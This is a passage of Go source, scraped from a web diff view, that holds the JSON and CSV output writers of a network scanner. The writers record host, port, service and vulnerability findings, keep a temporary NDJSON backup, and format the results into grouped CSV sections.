Services []*ScanResult `json:"services,omitempty"`
|
||||
Vulns []*ScanResult `json:"vulns,omitempty"`
|
||||
}
|
||||
|
||||
// JSONSummary 扫描摘要
|
||||
type JSONSummary struct {
|
||||
TotalHosts int `json:"total_hosts"`
|
||||
TotalPorts int `json:"total_ports"`
|
||||
TotalServices int `json:"total_services"`
|
||||
TotalVulns int `json:"total_vulns"`
|
||||
}
|
||||
|
||||
// NewJSONWriter 创建JSON写入器
|
||||
func NewJSONWriter(filePath string) (*JSONWriter, error) {
|
||||
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create JSON file: %w", err)
|
||||
}
|
||||
|
||||
// 创建实时备份文件(NDJSON格式,每行一个JSON对象)
|
||||
realtimePath := filePath + ".realtime.tmp"
|
||||
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
|
||||
}
|
||||
|
||||
return &JSONWriter{
|
||||
file: file,
|
||||
buffer: NewResultBuffer(),
|
||||
realtimeFile: realtimeFile,
|
||||
realtimePath: realtimePath,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// WriteHeader 写入头部
|
||||
func (w *JSONWriter) WriteHeader() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Write 收集扫描结果,同时实时写入备份文件
|
||||
func (w *JSONWriter) Write(result *ScanResult) error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return fmt.Errorf("writer is closed")
|
||||
}
|
||||
if result == nil {
|
||||
return fmt.Errorf("result cannot be nil")
|
||||
}
|
||||
|
||||
// 1. 加入内存分类缓冲(用于最终有序输出)
|
||||
w.buffer.Add(result)
|
||||
|
||||
// 2. 实时写入备份文件(NDJSON格式,防崩溃丢失)
|
||||
if w.realtimeFile != nil {
|
||||
data, err := json.Marshal(result)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to marshal result: %w", err)
|
||||
}
|
||||
if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
|
||||
return fmt.Errorf("failed to write realtime backup: %w", err)
|
||||
}
|
||||
if err := w.realtimeFile.Sync(); err != nil {
|
||||
return fmt.Errorf("failed to sync realtime backup: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Flush 刷新写入器
|
||||
func (w *JSONWriter) Flush() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close 关闭写入器(写入完整JSON,删除临时备份)
|
||||
func (w *JSONWriter) Close() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
hosts, ports, services, vulns := w.buffer.Summary()
|
||||
output := JSONOutput{
|
||||
ScanTime: time.Now(),
|
||||
Summary: JSONSummary{
|
||||
TotalHosts: hosts,
|
||||
TotalPorts: ports,
|
||||
TotalServices: services,
|
||||
TotalVulns: vulns,
|
||||
},
|
||||
Hosts: w.buffer.HostResults,
|
||||
Ports: w.buffer.PortResults,
|
||||
Services: w.buffer.ServiceResults,
|
||||
Vulns: w.buffer.VulnResults,
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(output, JSONIndentPrefix, JSONIndentString)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
w.closed = true
|
||||
|
||||
// 关闭并删除实时备份文件(正常结束,不再需要)
|
||||
if w.realtimeFile != nil {
|
||||
w.realtimeFile.Close()
|
||||
os.Remove(w.realtimePath)
|
||||
}
|
||||
|
||||
if _, err := w.file.Write(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.file.Close()
|
||||
}
|
||||
|
||||
// GetFormat 获取格式类型
|
||||
func (w *JSONWriter) GetFormat() Format {
|
||||
return FormatJSON
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// CSVWriter - CSV格式写入器
|
||||
// =============================================================================
|
||||
|
||||
// CSVWriter CSV格式写入器(分类去重)
|
||||
// 双写机制:内存分类缓冲 + 实时NDJSON备份
|
||||
type CSVWriter struct {
|
||||
file *os.File
|
||||
bufWriter *bufio.Writer
|
||||
csvWriter *csv.Writer
|
||||
mu sync.Mutex
|
||||
closed bool
|
||||
buffer *ResultBuffer
|
||||
realtimeFile *os.File // 实时备份文件(NDJSON格式)
|
||||
realtimePath string // 实时备份文件路径
|
||||
}
|
||||
|
||||
// NewCSVWriter 创建CSV写入器
|
||||
func NewCSVWriter(filePath string) (*CSVWriter, error) {
|
||||
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create CSV file: %w", err)
|
||||
}
|
||||
|
||||
// 创建实时备份文件(NDJSON格式)
|
||||
realtimePath := filePath + ".realtime.tmp"
|
||||
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
|
||||
}
|
||||
|
||||
bufWriter := bufio.NewWriter(file)
|
||||
csvWriter := csv.NewWriter(bufWriter)
|
||||
|
||||
return &CSVWriter{
|
||||
file: file,
|
||||
bufWriter: bufWriter,
|
||||
csvWriter: csvWriter,
|
||||
buffer: NewResultBuffer(),
|
||||
realtimeFile: realtimeFile,
|
||||
realtimePath: realtimePath,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// WriteHeader 写入CSV头部
|
||||
func (w *CSVWriter) WriteHeader() error {
|
||||
return nil // 延迟到Close时写入
|
||||
}
|
||||
|
||||
// Write 收集扫描结果,同时实时写入备份文件
|
||||
func (w *CSVWriter) Write(result *ScanResult) error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return fmt.Errorf("writer is closed")
|
||||
}
|
||||
if result == nil {
|
||||
return fmt.Errorf("result cannot be nil")
|
||||
}
|
||||
|
||||
// 1. 加入内存分类缓冲(用于最终有序输出)
|
||||
w.buffer.Add(result)
|
||||
|
||||
// 2. 实时写入备份文件(NDJSON格式,防崩溃丢失)
|
||||
if w.realtimeFile != nil {
|
||||
data, err := json.Marshal(result)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to marshal result: %w", err)
|
||||
}
|
||||
if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
|
||||
return fmt.Errorf("failed to write realtime backup: %w", err)
|
||||
}
|
||||
if err := w.realtimeFile.Sync(); err != nil {
|
||||
return fmt.Errorf("failed to sync realtime backup: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Flush 刷新写入器
|
||||
func (w *CSVWriter) Flush() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close 关闭写入器(按类型分组写入,删除临时备份)
|
||||
func (w *CSVWriter) Close() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 写入各分类
|
||||
w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord)
|
||||
w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord)
|
||||
w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord)
|
||||
w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord)
|
||||
|
||||
w.closed = true
|
||||
|
||||
// 关闭并删除实时备份文件(正常结束,不再需要)
|
||||
if w.realtimeFile != nil {
|
||||
w.realtimeFile.Close()
|
||||
os.Remove(w.realtimePath)
|
||||
}
|
||||
|
||||
w.csvWriter.Flush()
|
||||
if err := w.csvWriter.Error(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := w.bufWriter.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.file.Close()
|
||||
}
|
||||
|
||||
func (w *CSVWriter) writeSection(title string, headers []string, results []*ScanResult, formatter func(*ScanResult) []string) {
|
||||
if len(results) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
_ = w.csvWriter.Write([]string{title})
|
||||
_ = w.csvWriter.Write(headers)
|
||||
|
||||
for _, result := range results {
|
||||
_ = w.csvWriter.Write(formatter(result))
|
||||
}
|
||||
_ = w.csvWriter.Write([]string{})
|
||||
}
|
||||
|
||||
func (w *CSVWriter) formatHostRecord(result *ScanResult) []string {
|
||||
return []string{result.Target}
|
||||
}
|
||||
|
||||
func (w *CSVWriter) formatPortRecord(result *ScanResult) []string {
|
||||
port := ""
|
||||
if result.Details != nil {
|
||||
if p, ok := result.Details["port"]; ok {
|
||||
port = fmt.Sprintf("%v", p)
|
||||
}
|
||||
}
|
||||
return []string{result.Target, port, "open"}
|
||||
}
|
||||
|
||||
func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
|
||||
service, version, title, status, server, fingerprints, banner := "", "", "", "", "", "", ""
|
||||
if result.Details != nil {
|
||||
if s, ok := result.Details["service"].(string); ok {
|
||||
service = s
|
||||
}
|
||||
if s, ok := result.Details["name"].(string); ok && service == "" {
|
||||
service = s
|
||||
}
|
||||
if s, ok := result.Details["plugin"].(string); ok && service == "" {
|
||||
service = s
|
||||
}
|
||||
if v, ok := result.Details["version"].(string); ok {
|
||||
version = v
|
||||
}
|
||||
if t, ok := result.Details["title"].(string); ok {
|
||||
title = escapeControlChars(t)
|
||||
}
|
||||
if s, ok := result.Details["status"]; ok && s != nil && s != 0 {
|
||||
status = fmt.Sprintf("%v", s)
|
||||
}
|
||||
if s, ok := result.Details["server"].(string); ok {
|
||||
server = escapeControlChars(s)
|
||||
}
|
||||
fingerprints = formatFingerprints(result.Details["fingerprints"])
|
||||
if b, ok := result.Details["banner"].(string); ok {
|
||||
banner = escapeControlChars(b)
|
||||
if len(banner) > 100 {
|
||||
banner = banner[:100] + "..."
|
||||
}
|
||||
}
|
||||
}
|
||||
target := result.Target
|
||||
if !strings.Contains(target, ":") {
|
||||
if p, ok := result.Details["port"]; ok {
|
||||
target = fmt.Sprintf("%s:%v", target, p)
|
||||
}
|
||||
}
|
||||
return []string{target, service, version, title, status, server, fingerprints, banner}
|
||||
}
|
||||
|
||||
func formatFingerprints(value interface{}) string {
|
||||
switch v := value.(type) {
|
||||
case []string:
|
||||
return strings.Join(v, ",")
|
||||
case []interface{}:
|
||||
parts := make([]string, 0, len(v))
|
||||
for _, item := range v {
|
||||
if s, ok := item.(string); ok && s != "" {
|
||||
parts = append(parts, s)
|
||||
}
|
||||
}
|
||||
return strings.Join(parts, ",")
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func (w *CSVWriter) formatVulnRecord(result *ScanResult) []string {
|
||||
vulnType := ""
|
||||
if result.Details != nil {
|
||||
if t, ok := result.Details["type"].(string); ok {
|
||||
vulnType = t
|
||||
}
|
||||
}
|
||||
return []string{result.Target, vulnType, result.Status}
|
||||
}
|
||||
|
||||
// GetFormat 获取格式类型
|
||||
func (w *CSVWriter) GetFormat() Format {
|
||||
return FormatCSV
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user